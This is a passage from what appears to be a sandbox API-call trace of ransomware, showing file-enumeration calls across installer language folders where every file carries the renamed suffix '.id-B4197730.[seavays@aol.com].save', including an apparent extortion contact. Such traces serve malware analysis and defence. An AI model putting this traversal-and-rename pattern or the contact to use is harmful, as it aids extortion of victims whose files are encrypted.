ftCreationTime.dwLowDateTime=0x764a1c2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x764a1c2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f4403b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.889] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x764a1c2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x764a1c2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f4403b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.889] FindClose (in: hFindFile=0x4262c58 | out: hFindFile=0x4262c58) returned 1 [0205.890] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.890] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="1053", cAlternateFileName="")) returned 1 [0205.890] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0205.890] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x4263018 [0205.997] FindNextFileW (in: hFindFile=0x4263018, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0205.997] FindNextFileW (in: hFindFile=0x4263018, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x85d24fd, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x85d24fd, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8b2fa3c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.998] FindNextFileW (in: hFindFile=0x4263018, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87c24f3, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x87c24f3, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x87c24f3, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.998] FindNextFileW (in: hFindFile=0x4263018, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x767047d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x767047d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x769659b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.998] FindNextFileW (in: hFindFile=0x4263018, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x767047d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x767047d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x769659b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.998] FindClose (in: hFindFile=0x4263018 | out: hFindFile=0x4263018) returned 1 [0205.999] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0205.999] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="1055", cAlternateFileName="")) returned 1 [0205.999] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0206.000] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x4262fd8 [0206.002] FindNextFileW (in: hFindFile=0x4262fd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0206.002] FindNextFileW (in: hFindFile=0x4262fd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87ea1d0, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x87ea1d0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x87ea1d0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0206.003] FindNextFileW (in: hFindFile=0x4262fd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x88f366e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x88f366e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8919802, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0206.003] FindNextFileW (in: hFindFile=0x4262fd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x769659b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x769659b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x76bc70d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0206.003] FindNextFileW (in: hFindFile=0x4262fd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x769659b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x769659b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x76bc70d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0206.003] FindClose (in: hFindFile=0x4262fd8 | out: hFindFile=0x4262fd8) returned 1 [0206.004] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.004] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="2052", cAlternateFileName="")) returned 1 [0206.004] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0206.004] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x4262cd8 [0206.006] FindNextFileW (in: hFindFile=0x4262cd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0206.006] FindNextFileW (in: hFindFile=0x4262cd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8919802, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8919802, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8919802, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0206.006] FindNextFileW (in: hFindFile=0x4262cd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x893fada, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x893fada, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x912574a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0206.006] FindNextFileW (in: hFindFile=0x4262cd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x76e2aad, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x76e2aad, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f90157, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0206.006] FindNextFileW (in: hFindFile=0x4262cd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x76e2aad, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x76e2aad, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f90157, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0206.007] FindClose (in: hFindFile=0x4262cd8 | out: hFindFile=0x4262cd8) returned 1 [0206.007] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.007] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="2070", cAlternateFileName="")) returned 1 [0206.008] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0206.008] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x4262e58 [0206.009] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0206.009] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8a70cc6, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8a70cc6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8a96f1a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0206.009] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8a96f1a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8a96f1a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8a96f1a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0206.009] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e129c1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e129c1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e129c1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0206.010] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e129c1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e129c1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e129c1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0206.010] FindClose (in: hFindFile=0x4262e58 | out: hFindFile=0x4262e58) returned 1 [0206.011] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.011] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="3076", cAlternateFileName="")) returned 1 [0206.011] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0206.011] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x4262ed8 [0206.012] FindNextFileW (in: hFindFile=0x4262ed8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0206.012] FindNextFileW (in: hFindFile=0x4262ed8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8abdf43, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8abdf43, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x927cc87, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0206.013] FindNextFileW (in: hFindFile=0x4262ed8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8b2fa3c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8b2fa3c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8b2fa3c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0206.013] FindNextFileW (in: hFindFile=0x4262ed8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e129c1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e129c1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e38b7a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0206.013] FindNextFileW (in: hFindFile=0x4262ed8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e129c1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e129c1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e38b7a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0206.013] FindClose (in: hFindFile=0x4262ed8 | out: hFindFile=0x4262ed8) returned 1 [0206.014] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.014] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="3082", cAlternateFileName="")) returned 1 [0206.014] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0206.014] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x4262f98 [0206.016] FindNextFileW (in: hFindFile=0x4262f98, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0206.016] FindNextFileW (in: hFindFile=0x4262f98, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8b55c13, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8b55c13, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8b55c13, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0206.016] FindNextFileW (in: hFindFile=0x4262f98, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8b7c082, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8b7c082, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9387cb5, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0xffffdf24, dwReserved1=0xbf7, 